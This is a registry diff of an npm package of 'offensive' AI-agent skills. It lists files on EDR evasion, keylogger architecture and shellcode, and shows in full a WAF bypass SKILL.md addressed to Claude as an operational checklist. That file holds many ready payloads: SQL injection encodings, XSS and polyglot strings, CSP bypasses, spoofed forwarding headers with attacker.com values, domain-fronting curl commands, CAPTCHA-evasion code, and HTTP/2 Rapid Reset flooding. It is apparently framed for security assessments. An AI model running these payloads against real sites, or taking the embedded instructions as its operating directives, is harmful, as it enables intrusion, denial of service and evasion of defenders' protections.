@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,820 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: WAF Bypass Techniques
4
+
5
+ ## Metadata
6
+ - **Skill Name**: waf-bypass
7
+ - **Folder**: offensive-waf-bypass
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/waf-bypass.md
9
+
10
+ ## Description
11
+ WAF bypass techniques checklist: encoding bypass (URL/HTML/Unicode/double encoding), case variation, comment injection, HTTP header manipulation, chunked encoding, IP rotation, timing attacks, and payload obfuscation per WAF vendor. Use when WAF is blocking payloads during web app tests.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `WAF bypass, web application firewall bypass, URL encoding, double encoding, Unicode bypass, comment injection, HTTP header bypass, chunked encoding, IP rotation, payload obfuscation, WAF evasion`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # WAF Bypass Techniques
31
+
32
+ A Web Application Firewall (WAF) is a security tool that protects web applications from various attacks by analyzing HTTP requests and applying rules to identify and block suspicious traffic. This document outlines effective techniques to bypass WAF protections during security assessments.
33
+
34
+ ```mermaid
35
+ graph TD
36
+ A[Client] -->|HTTP Request| B[WAF]
37
+ B -->|Filtered Request| C[Web Application]
38
+ C -->|Response| D[WAF]
39
+ D -->|Filtered Response| A
40
+
41
+ E[Attacker] -->|Malicious Request| B
42
+ B -->|Blocked| E
43
+
44
+ F[Attacker with<br>Bypass Techniques] -->|Obfuscated<br>Malicious Request| B
45
+ B -->|Request Appears Legitimate| C
46
+
47
+ style B fill:#f9a,stroke:#333,color:#333
48
+ style E fill:#f66,stroke:#333,color:#333
49
+ style F fill:#f66,stroke:#333,color:#333
50
+ ```
51
+
52
+ ## WAF Overview
53
+
54
+ WAFs operate in two primary models:
55
+
56
+ - **Negative Model (Blacklist-based)**: Uses pre-set signatures to block known malicious requests, effective against common vulnerabilities
57
+ - **Positive Model (Whitelist-based)**: Only allows requests that match specific patterns, blocking everything else by default
58
+
59
+ ## Popular WAFs
60
+
61
+ - **Cloudflare** - Identified by `__cf_bm`, `cf_clearance`, `cf_chl_*` cookies and "/cdn-cgi/" routes (cookies rotate roughly every 30 min)
62
+ - **Akamai**
63
+ - **Imperva/Incapsula** - Look for "X-CDN: Incapsula" headers
64
+ - **AWS WAF** - Commonly sets `AWSALB` or `AWSALBCORS` cookies
65
+ - **Sucuri** - Check for "X-Sucuri-ID" headers
66
+ - **DataDome**
67
+ - **F5 Networks**
68
+ - **Barracuda**
69
+ - **Fortinet**
70
+ - **ModSecurity** - Open-source WAF, commonly used with Apache
71
+ - **NAXSI** - Open-source WAF for NGINX
72
+ - **Azure Front Door**
73
+ - **Fastly Next-Gen WAF**
74
+ - **Cloudflare AI WAF**
75
+ - **Radware**
76
+ - **Coraza** - Modern open‑source WAF written in Go
77
+
78
+ ## Detection Methods
79
+
80
+ ```mermaid
81
+ flowchart LR
82
+ A[WAF Detection Methods] --> B[Control Page Analysis]
83
+ A --> C[HTTP Header Inspection]
84
+ A --> D[Cookie Analysis]
85
+ A --> E[Route Examination]
86
+ A --> F[JavaScript Object Analysis]
87
+
88
+ B --> B1[Block Pages]
89
+ B --> B2[Challenge Pages]
90
+ B --> B3[CAPTCHA Systems]
91
+
92
+ C --> C1[Custom Security Headers]
93
+ C --> C2[Server Headers]
94
+ C --> C3[CDN Markers]
95
+
96
+ D --> D1[WAF-specific Cookies]
97
+ D --> D2[Challenge Cookies]
98
+
99
+ E --> E1[CDN Paths]
100
+ E --> E2[WAF Asset Routes]
101
+
102
+ F --> F1[Protection Objects]
103
+ F --> F2[Challenge Scripts]
104
+
105
+ style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
106
+ ```
107
+
108
+ 1. **Inspect Control Pages** - Many WAFs display specific pages when blocking access
109
+ 2. **Analyze HTTP Headers** - Check response headers for WAF-specific indicators
110
+ 3. **Examine Cookies** - WAFs often set specific cookies (e.g., cf_clearance for Cloudflare)
111
+ 4. **Look for Specific Routes** - e.g., /cdn-cgi/ for Cloudflare
112
+ 5. **Check JavaScript Objects** - WAFs inject specific JS objects (e.g., `\_cf_chl_opt`)
113
+ 6. **JA3/JA4/TLS Fingerprints** - Compare your client’s TLS fingerprint with common browser fingerprints; mismatches are often blocked.
114
+ 7. **HTTP/2/3 Support** - Identify protocol negotiation; some WAF policies differ by protocol.
115
+
116
+ ### Fingerprinting WAFs
117
+
118
+ Some specific fingerprints of common WAFs:
119
+
120
+ - **Apache Generic**: Writing method type in lowercase (e.g., `get` instead of `GET`)
121
+ - **IIS Generic**: Using tabs before method (e.g., ` GET /login.php HTTP/1.1`)
122
+ - **Cloudflare**: Challenge pages with JavaScript verification
123
+ - **ModSecurity**: Specific error messages and block pages
124
+ - **AWS WAF**: AWSELB cookies and specific headers
125
+ - **Fastly Next‑Gen WAF**: `fastly-debug-*` headers (when enabled), service IDs in responses
126
+ - **Cloudflare Bot Fight Mode/AI WAF**: presence of Turnstile, managed challenge flows, Bot Management headers
127
+
128
+ ## Bypass Techniques
129
+
130
+ ### 1. Use Residential IPs
131
+
132
+ - **Data center IPs** are easily detected by WAFs
133
+ - **Residential IPs** appear legitimate as they come from ISPs
134
+ - **Mobile IPs** are useful for websites showing different content for mobile users
135
+ - Use proxy rotation services to avoid IP-based rate limiting
136
+
137
+ ### 2. Fortify Headless Browsers
138
+
139
+ Headless browsers often set special headers or variables that help WAFs recognize them as automation tools. Use the following libraries to make headless browsers appear more human-like:
140
+
141
+ - `undetected_chromedriver` for Selenium
142
+ - `puppeteer-extra-plugin-stealth` for Puppeteer/Playwright
143
+ - `playwright-extra` with `playwright-extra-plugin-stealth` for Playwright
144
+
145
+ ### 3. Use Web Scraping APIs
146
+
147
+ Services like ZenRows implement sophisticated anti-bot techniques including:
148
+
149
+ - Premium proxies
150
+ - JS rendering
151
+ - WAF bypassing capabilities
152
+ - CAPTCHA solving
153
+ - Protocol emulation (HTTP/2 push/HTTP/3), humanization features
154
+
155
+ ### 4. Call the Origin Server Directly
156
+
157
+ - Use services like Shodan or tools like CloudFlair to find the origin server IP
158
+ - Forge requests to make them appear as coming from a valid domain
159
+ - Bypass the WAF layer completely by contacting the server directly
160
+ - Check historical DNS records (e.g., with `securitytrails` API) – 2024 research found ~40 % of Fortune‑100 origins exposed via stale A records
161
+ - Check `Alt-Svc` leakage for HTTP/3, misconfigured Workers/Edge redirects exposing bucket hostnames
162
+
163
+ ```mermaid
164
+ sequenceDiagram
165
+ participant Attacker
166
+ participant WAF
167
+ participant Origin as Origin Server
168
+
169
+ Note over Attacker,Origin: Normal Route (Blocked)
170
+ Attacker->>WAF: Malicious Request
171
+ WAF->>Attacker: Request Blocked
172
+
173
+ Note over Attacker,Origin: Origin Bypass
174
+ Attacker->>Attacker: Find Origin IP (Shodan, etc.)
175
+ Attacker->>Origin: Direct Request with Host Header
176
+ Origin->>Attacker: Response (WAF Bypassed)
177
+ ```
178
+
179
+ ### 5. Utilize WAF Solvers
180
+
181
+ - **BypassWAF** - Overcomes firewalls by looking for old DNS A records
182
+ - **Cfscrape** - Python module to bypass Cloudflare protection
183
+ - **Cloudscraper** - Python library to avoid Cloudflare waiting room
184
+
185
+ ### 6. Reverse Engineer JavaScript Challenges
186
+
187
+ - Analyze injected JavaScript snippets used by WAFs
188
+ - Understand how the challenge works
189
+ - Create custom solutions that satisfy the challenge requirements
190
+
191
+ ### 7. CAPTCHA Bypass Techniques
192
+
193
+ - **Cloudflare Turnstile** – low‑friction CAPTCHA replacement; see `cloudflare_turnstile_bypass` PoC (GUI‑driven, YMMV)
194
+ - **Use CAPTCHA solving services** - Though often expensive and not always reliable
195
+ - **Utilize automated CAPTCHA solvers** - Various libraries exist for different CAPTCHA types
196
+ - **Implement prevention measures** - Use techniques that prevent CAPTCHAs from appearing
197
+
198
+ #### Cloudflare Turnstile Bypass
199
+
200
+ ```javascript
201
+ // Visibility bypass: Complete Turnstile in hidden iframe
202
+ const iframe = document.createElement("iframe");
203
+ iframe.style.display = "none";
204
+ iframe.src = "https://challenges.cloudflare.com/...";
205
+ document.body.appendChild(iframe);
206
+
207
+ // Token reuse test: Check if cf_clearance tokens are single-use
208
+ // Save token from successful solve, attempt reuse across sessions
209
+
210
+ // Timing attack: Solve challenge, delay submission to test token expiry
211
+ setTimeout(() => submitWithToken(token), 60000);
212
+ ```
213
+
214
+ **Tools:**
215
+
216
+ - `cf-clearance-scraper` (2024 fork with Turnstile support)
217
+ - `cloudflare-turnstile-solver` - Automated solving with browser automation
218
+ - `turnstile-bypass` - Research tool for testing Turnstile implementations
219
+
220
+ ### 8. Avoid Honeypot Traps
221
+
222
+ - Don't interact with invisible elements (`display: none`)
223
+ - Skip elements with zero opacity or positioned off-screen
224
+ - Analyze HTML structure to identify potential honeypots
225
+ - Avoid filling hidden form fields
226
+
227
+ ### 9. Defeat Browser Fingerprinting
228
+
229
+ - Randomize or spoof canvas fingerprinting results
230
+ - Use plugins that add noise to fingerprint data
231
+ - Modify user agent and other HTTP headers periodically
232
+ - Spoof hardware and software features to appear as different devices
233
+
234
+ ### 10. TLS Fingerprinting Evasion
235
+
236
+ - Modify TLS parameters during handshake
237
+ - Use libraries that allow customization of SSL/TLS configuration
238
+ - Match TLS fingerprints of legitimate browsers
239
+ - Randomise both JA3 and JA4 fingerprints using libraries such as `noble-tls` or `ja4py`
240
+ - Consider using the `abuse-ssl-bypass-waf` tool to find supported SSL/TLS ciphers
241
+ - Align cipher suites, ALPN order, and signature algorithms with target browser versions.
242
+
243
+ ### 11. Simulate Human Behavior
244
+
245
+ - Add random delays between requests
246
+ - Follow logical navigation patterns
247
+ - Implement mouse movements and scrolling behavior
248
+ - Interact with page elements naturally
249
+ - Vary request patterns and timing
250
+ - Use browser engines (Playwright/Selenium) with stealth plugins to match DOM APIs and canvas behavior.
251
+
252
+ ```mermaid
253
+ mindmap
254
+ root((WAF Bypass Techniques))
255
+ Network Level
256
+ Residential IPs
257
+ Origin Server Direct
258
+ IP Rotation
259
+ Distributed Requests
260
+ Browser Emulation
261
+ Headless Browser Fortification
262
+ TLS Fingerprint Evasion
263
+ JS Challenge Solving
264
+ Human Behavior Simulation
265
+ Request Manipulation
266
+ Header Manipulation
267
+ Parameter Pollution
268
+ HTTP Protocol Tricks
269
+ Encoding Variations
270
+ Attack Specific
271
+ SQLi Bypasses
272
+ XSS Obfuscation
273
+ JSON-Based Injection
274
+ Protocol Level Bypass
275
+ Tools & Services
276
+ WAF Solvers
277
+ CAPTCHA Services
278
+ Proxy Rotators
279
+ Web Scraping APIs
280
+ ```
281
+
282
+ ### 12. SQL Injection Specific WAF Bypasses
283
+
284
+ - **Case variation**: `SeLeCt`, `UnIoN` instead of `SELECT`, `UNION`
285
+ - **Comment injection**: `UN/**/ION SE/**/LECT` to break up keywords
286
+ - **Alternate encodings**:
287
+ - URL encoding: `UNION` → `%55%4E%49%4F%4E`
288
+ - Hex encoding: `SELECT` → `0x53454C454354`
289
+ - Unicode encoding
290
+ - **Whitespace manipulation**: `UNION/**/SELECT` or using tabs/newlines/carriage returns
291
+ - **Numeric representations**:
292
+ - `1` → `1-0`, `1+0`, `CHAR(49)`
293
+ - **String concatenation**:
294
+ - MySQL: `CONCAT('a','b')`
295
+ - Oracle: `'a'||'b'`
296
+ - MSSQL: `'a'+'b'`
297
+ - **Null byte injection**:
298
+ ```
299
+ %00' UNION SELECT password FROM Users WHERE username='xyz'--
300
+ ```
301
+ - **Double encoding**:
302
+ ```
303
+ First pass: / → %2f
304
+ Second pass: %2f → %252f
305
+ ```
306
+ - **SQLMAP tamper scripts**:
307
+ - Use Atlas tool for suggesting tamper scripts
308
+ - Try multiple tamper scripts in combination
309
+ - Customize tamper scripts for specific WAFs
310
+ - **JSON-Based SQL Injection** (CVE-2023-50969):
311
+ - Many WAFs (AWS, Cloudflare, F5, Imperva) don't properly support JSON syntax in SQL
312
+ - Example: `{"id": {"$gt": "' OR 1=1--"}}`
313
+ - Use SQLMap with JSON parameter support for exploitation
314
+ - Leverage mixed encodings (half‑width Unicode, overlong UTF‑8), embedded comments, and case folding differences.
315
+
316
+ ```mermaid
317
+ graph TD
318
+ A[SQL Injection WAF Bypass] --> B[Syntax Manipulation]
319
+ A --> C[Character Encodings]
320
+ A --> D[Alternative Representations]
321
+ A --> E[SQLMap Tamper Scripts]
322
+
323
+ B --> B1[Case Variation<br>SeLeCt]
324
+ B --> B2[Comment Insertion<br>UN/**/ION]
325
+ B --> B3[Whitespace Manipulation<br>UNION++++SELECT]
326
+
327
+ C --> C1[URL Encoding<br>%55%4E%49%4F%4E]
328
+ C --> C2[Hex Encoding<br>0x53454C454354]
329
+ C --> C3[Double Encoding<br>%252f]
330
+ C --> C4[Unicode Encoding]
331
+
332
+ D --> D1[String Alternatives]
333
+ D --> D2[Numeric Alternatives]
334
+ D --> D3[JSON-Based Injection]
335
+
336
+ E --> E1[Multiple Script Chaining]
337
+ E --> E2[WAF-Specific Scripts]
338
+
339
+ style A fill:#f96,stroke:#333,stroke-width:2px,color:#333
340
+ style B,C,D,E fill:#bbf,stroke:#333,color:#333
341
+ ```
342
+
343
+ ### 13. XSS-Specific WAF Bypasses
344
+
345
+ - **Context-Aware Payloads**: Craft payloads based on where they will be inserted:
346
+
347
+ ```
348
+ # HTML Context
349
+ <img src=x onerror=alert(1)>
350
+
351
+ # HTML Attribute Context
352
+ " onmouseover="alert(1)
353
+
354
+ # JavaScript Context
355
+ ';alert(1);//
356
+ ```
357
+
358
+ - **Mutation XSS (mXSS)**: Use HTML parsing quirks to bypass sanitizers:
359
+
360
+ ```
361
+ <noscript><p title="</noscript><img src=x onerror=alert(1)>">
362
+ ```
363
+
364
+ - **Alternative Tag Usage**:
365
+
366
+ ```
367
+ <svg onload=alert(1)>
368
+ <body onload=alert(1)>
369
+ <details open ontoggle=alert(1)>
370
+ ```
371
+
372
+ - **JavaScript Obfuscation**:
373
+
374
+ ```
375
+ <script>eval(atob('YWxlcnQoMSk='))</script>
376
+ <img src=x onerror="window['al'+'ert'](1)">
377
+ ```
378
+
379
+ - **Avoiding Blacklisted Words**:
380
+
381
+ ```
382
+ <script>al\u0065rt(1)</script>
383
+ <svg onload=setTimeout('al'+'ert(1)')>
384
+ ```
385
+
386
+ - **Protocol Obfuscation**:
387
+
388
+ ```
389
+ <a href="javas&#99;ript:alert(1)">Click Me</a>
390
+ <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click Me</a>
391
+ ```
392
+
393
+ - **CSS-Based Attacks**:
394
+
395
+ ```
396
+ <style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
397
+ <div style="background-image:url('javascript:alert(1)')">
398
+ ```
399
+
400
+ - **CSP Bypass Techniques**:
401
+ - JSONP endpoint abuse: `<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>`
402
+ - DOM clobbering: `<form id=self><input name=location>` then `self.location`
403
+ - Using allowed domains: Find script sources whitelisted in CSP that can be abused
404
+ - Abuse JSONP, postMessage, or gadget endpoints on allowed origins; check Trusted Types gaps.
405
+
406
+ - **Polyglot XSS**: Payloads that work in multiple contexts:
407
+ ```
408
+ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
409
+ ```
410
+
411
+ ### 14. HTTP Protocol Level Bypasses
412
+
413
+ - **HTTP Method Obfuscation**:
414
+ - Using uncommon HTTP methods
415
+ - Modifying case of HTTP methods (e.g., `gEt` instead of `GET`)
416
+ - Adding tabs or spaces before HTTP methods
417
+
418
+ - **Request Header Manipulation**:
419
+ - Adding excessive headers to confuse WAF processing
420
+ - Using duplicate headers with different values
421
+ - Adding headers that make the request appear to come from internal networks or spoof identity. Many applications, especially behind misconfigured reverse proxies, trust headers like `X-Forwarded-For` or `X-Forwarded-Host` to determine the client's IP or the requested host. Manipulating these can lead to various vulnerabilities:
422
+ - Password Reset Poisoning: Injecting headers like `X-Forwarded-Host: attacker.com` can cause the application to generate password reset links pointing to the attacker's domain.
423
+ - Bypassing IP Restrictions: Using `X-Forwarded-For: <trusted_ip>` or similar headers can bypass IP-based access controls if the server trusts the header.
424
+ - Open Redirects: Manipulating host-related headers (`X-Forwarded-Host`, `Referer`) can redirect users to malicious sites.
425
+ - SSRF: Headers like `X-Forwarded-For` or `X-Real-IP` can be manipulated to target internal IPs (e.g., `169.254.169.254` for AWS metadata service).
426
+ - Common Headers for Spoofing/Bypass: Attackers may use a variety of headers to manipulate server behavior or bypass WAF rules. Some common examples include:
427
+ ```
428
+ X-Forwarded-Host: attacker.com
429
+ X-Forwarded-For: 127.0.0.1
430
+ X-Client-IP: 127.0.0.1
431
+ Client-IP: 127.0.0.1
432
+ X-Real-IP: 127.0.0.1
433
+ X-Originating-IP: 127.0.0.1
434
+ X-Remote-IP: 127.0.0.1
435
+ X-Remote-Addr: 127.0.0.1
436
+ Forwarded: for=127.0.0.1;host=attacker.com
437
+ Referer: attacker.com
438
+ Origin: null / attacker.com
439
+ # And many variations like X-Forwarded, X-Forwarded-By, etc.
440
+ ```
441
+
442
+ - **HTTP Parameter Pollution**:
443
+ - Using multiple parameters with the same name
444
+
445
+ ```
446
+ ?id=safe&id=malicious
447
+ ```
448
+
449
+ - Mix sources (query, body, headers, cookies) to exploit precedence ambiguities across proxies/gateways.
450
+
451
+ - **HTTP RFC Inconsistencies**:
452
+ - Exploiting differences in how servers handle HTTP specification
453
+ - Using newline variations (CR, LF, CRLF)
454
+ - Adding unexpected line breaks in headers
455
+
456
+ - **Host Header Spoofing**:
457
+ - The `Host` header specifies the hostname the client wants to connect to, crucial for virtual hosting and reverse proxies.
458
+ - If a WAF/proxy relies solely on the `Host` header for filtering, it can be bypassed by sending a legitimate `Host` header value while the actual connection (e.g., SNI in TLS, IP address) points to a blocked or different target.
459
+ - **Mechanism**:
460
+ 1. Client connects to `evil.example.com` (e.g., IP address of `evil.example.com`).
461
+ 2. The SNI in the TLS handshake might be `evil.example.com`.
462
+ 3. The HTTP `Host` header is set to `legit.example.net` (a domain allowed by the WAF).
463
+ 4. The WAF sees `Host: legit.example.net` and may allow the request, which is then routed to `evil.example.com` by the underlying infrastructure if it uses the `Host` header for routing or if the IP was already resolved to `evil.example.com`.
464
+
465
+ - **Example with `curl`**:
466
+
467
+ ```bash
468
+ # SNI will be evil.example.com (matching the URL)
469
+ # Host header is spoofed to legit.example.net
470
+ curl -H "Host: legit.example.net" https://evil.example.com
471
+ ```
472
+
473
+ ```mermaid
474
+ sequenceDiagram
475
+ participant Alice as Alice (Attacker)
476
+ participant Proxy as WAF/Proxy
477
+ participant TargetServer as evil.example.com
478
+ participant AllowedServer as legit.example.net
479
+
480
+ Alice->>Proxy: TLS Handshake (SNI: evil.example.com, connects to IP of evil.example.com)
481
+ Proxy-->>TargetServer: Forwards TLS Handshake
482
+ TargetServer-->>Proxy: TLS Handshake Response
483
+ Proxy-->>Alice: TLS Handshake Response
484
+
485
+ Alice->>Proxy: HTTP Request (Host: legit.example.net) [Encrypted in TLS]
486
+ Note over Proxy: Proxy inspects Host header 'legit.example.net' (Allowed)
487
+ Proxy->>TargetServer: HTTP Request (Host: legit.example.net)
488
+ TargetServer->>Proxy: HTTP Response
489
+ Proxy->>Alice: HTTP Response
490
+ ```
491
+
492
+ - **Applicability**:
493
+ - Bypasses filters that only check the `Host` header.
494
+ - Can bypass restrictions like file upload size limits if the spoofed `Host` points to a domain with fewer restrictions.
495
+ - **Protection**:
496
+ - WAFs should verify that the hostname in the SNI and the `Host` header are identical.
497
+ - If they mismatch, the request should be blocked (e.g., Fortinet's "Domain Fronting Protection").
498
+ - This check prevents the simple Host Header Spoofing described.
499
+ - Enforce strict ALPN and certificate SAN checks; for HTTP/2 enforce `:authority` ≈ SNI.
500
+
501
+ ### 15. Advanced Techniques
502
+
503
+ - **HTTP Request Manipulation**:
504
+ - **Multiple Content-Encoding Headers**: Send multiple headers with conflicting values
505
+ ```
506
+ Content-Encoding: invalid
507
+ Content-Encoding: gzip
508
+ ```
509
+ - **8k Bypass**: Overloading request parameters to overwhelm WAF processing
510
+ - **Unicode Normalization Exploitation**: Using characters that normalize to malicious values
511
+ ```
512
+ # Using NFKD normalization forms
513
+ unicodedata.normalize('NFKD', payload)
514
+ ```
515
+
516
+ - **WAF Fuzzing Automation**:
517
+ - Using tools like "Wafer" to automate WAF bypass discovery
518
+ - Systematically testing edge cases in WAF rule processing
519
+ - Combining multiple evasion techniques in automated sequences
520
+ - Add feedback‑driven payload evolution (genetic algorithms) to evade ML‑based detections.
521
+
522
+ - **Advanced Encoding Techniques**:
523
+ - **HTML Tag Encodings**: Injecting symbols at specific points
524
+ - **Specialized DOM Events**: Triggering DOM events that bypass filtering
525
+ - **Double Unicode Escaping**: `\u00\u0036\u0031` for character '1'
526
+ - **MIME Smuggling**: multipart boundary tricks, mixed `Content‑Type` declarations through chained proxies.
527
+
528
+ - **IP Fragmentation Attacks**:
529
+ - Fragment HTTP requests across multiple packets
530
+ - WAFs may reassemble these differently than the target server
531
+ - Beware of modern middleboxes normalizing or dropping fragments; measure viability before use.
532
+
533
+ - **Timing-Based Techniques**:
534
+ - Leveraging WAF timeout discrepancies
535
+ - Sending requests when WAF processing is at peak load
536
+ - Use request coalescing and long‑lived HTTP/2 streams to alter inspection timing.
537
+
538
+ - **Machine Learning-Based Evasion**:
539
+ - Using ML to generate payloads that evade detection
540
+ - Adjusting payloads based on WAF feedback
541
+ - Gradually evolving attack patterns to avoid signature detection
542
+ - Cloudflare **AI WAF Attack Score** can be tricked by embedding payloads in lesser‑weighted features (e.g., multipart filenames)
543
+ - Vary entropy and payload tokenization to mislead n‑gram/embedding models.
544
+
545
+ - **Browser Bugs Exploitation**:
546
+ - Leveraging browser-specific parsing quirks
547
+ - Using differences between how WAFs and browsers interpret content
548
+
549
+ ### 16. HTTP/2, HTTP/3 & Advanced Protocol Bypasses
550
+
551
+ - **HTTP/2 `:authority` Header Bypass**:
552
+ - HTTP/2 replaces the `Host` header with the `:authority` pseudo-header for the target URI. The `:authority` field includes the hostname and optionally the port.
553
+ - WAFs/proxies not correctly parsing the binary and compressed HTTP/2 protocol may fail to extract or compare the `:authority` field with the SNI.
554
+ - This can bypass domain fronting or `Host` header validation checks that rely on HTTP/1.1's `Host` header.
555
+ - For instance, some WAFs' domain fronting protection mechanisms may only be effective for HTTP/1.1 and not for HTTP/2.
556
+ - Example (`curl` automatically uses `:authority` for HTTP/2 when a `Host` header is provided):
557
+ ```bash
558
+ curl --http2 -H "Host: legit-looking-domain.com" https://actual-target-server.com/index.html
559
+ ```
560
+
561
+ - **HTTP/3 (QUIC) Bypass**:
562
+ - HTTP/3 operates over QUIC (UDP), which multiplexes streams and integrates TLS 1.3+.
563
+ - If a WAF or proxy does not support or deeply inspect QUIC/HTTP/3 traffic, it cannot analyze the encrypted stream to apply policies based on HTTP content or SNI (within QUIC's TLS handshake).
564
+ - Enterprises may block outgoing UDP to non-standard ports, but HTTP/3 typically uses 443/UDP. If allowed, it can be a bypass vector.
565
+ - Servers can announce HTTP/3 support via the `Alt-Svc` HTTP header in responses to HTTP/1.1 or HTTP/2 requests.
566
+ - Example (`curl`):
567
+ ```bash
568
+ curl --http3 https://example.net
569
+ ```
570
+
571
+ - **HTTP/2 Rapid Reset flood** (CVE‑2023‑44487): send a burst of `RST_STREAM` frames to overwhelm back‑ends while front‑end WAFs proxy at HTTP/1.1.
572
+ - **HTTP/2 CONTINUATION Flooding** (2024 research): stress header compression/HPACK handling on middleboxes.
573
+
574
+ ### 17. GraphQL‑Specific WAF Bypasses
575
+
576
+ - **Introspection & alias spamming**: use deeply nested aliases to evade depth limits.
577
+ - **Batch operations**: bundle many queries in one request to sneak payloads through superficial query‑string filters.
578
+ - **Query name tampering**: mask malicious fields behind benign names.
579
+ - **Tools**: `graphql‑cop`, `inql`, `Escape p‑cli` for automated fuzzing.
580
+ - Test batched queries with differing operation names, file upload scalars, and custom directives; many WAFs only parse shallow GraphQL.
581
+
582
+ ### 18. SNI (Server Name Indication) Manipulation & Evasion
583
+
584
+ Server Name Indication (SNI) is a TLS protocol extension where the client indicates the hostname it is attempting to connect to during the TLS handshake. This is crucial for servers hosting multiple websites on a single IP address. Since the SNI is typically sent in cleartext (in the `ClientHello` message, unless Encrypted Client Hello - ECH - is used), web filters can inspect it to enforce policies.
585
+
586
+ SNI spoofing is a technique to bypass web filters that rely solely or primarily on the SNI value to allow or block requests. The attacker sends an SNI for a whitelisted domain while directing the actual traffic to a different, potentially blocked, server IP address.
587
+
588
+ **Mechanism:**
589
+
590
+ 1. The client initiates a TLS handshake, providing an SNI of an allowed domain (e.g., `allowed.example.com`) to the web filter/proxy.
591
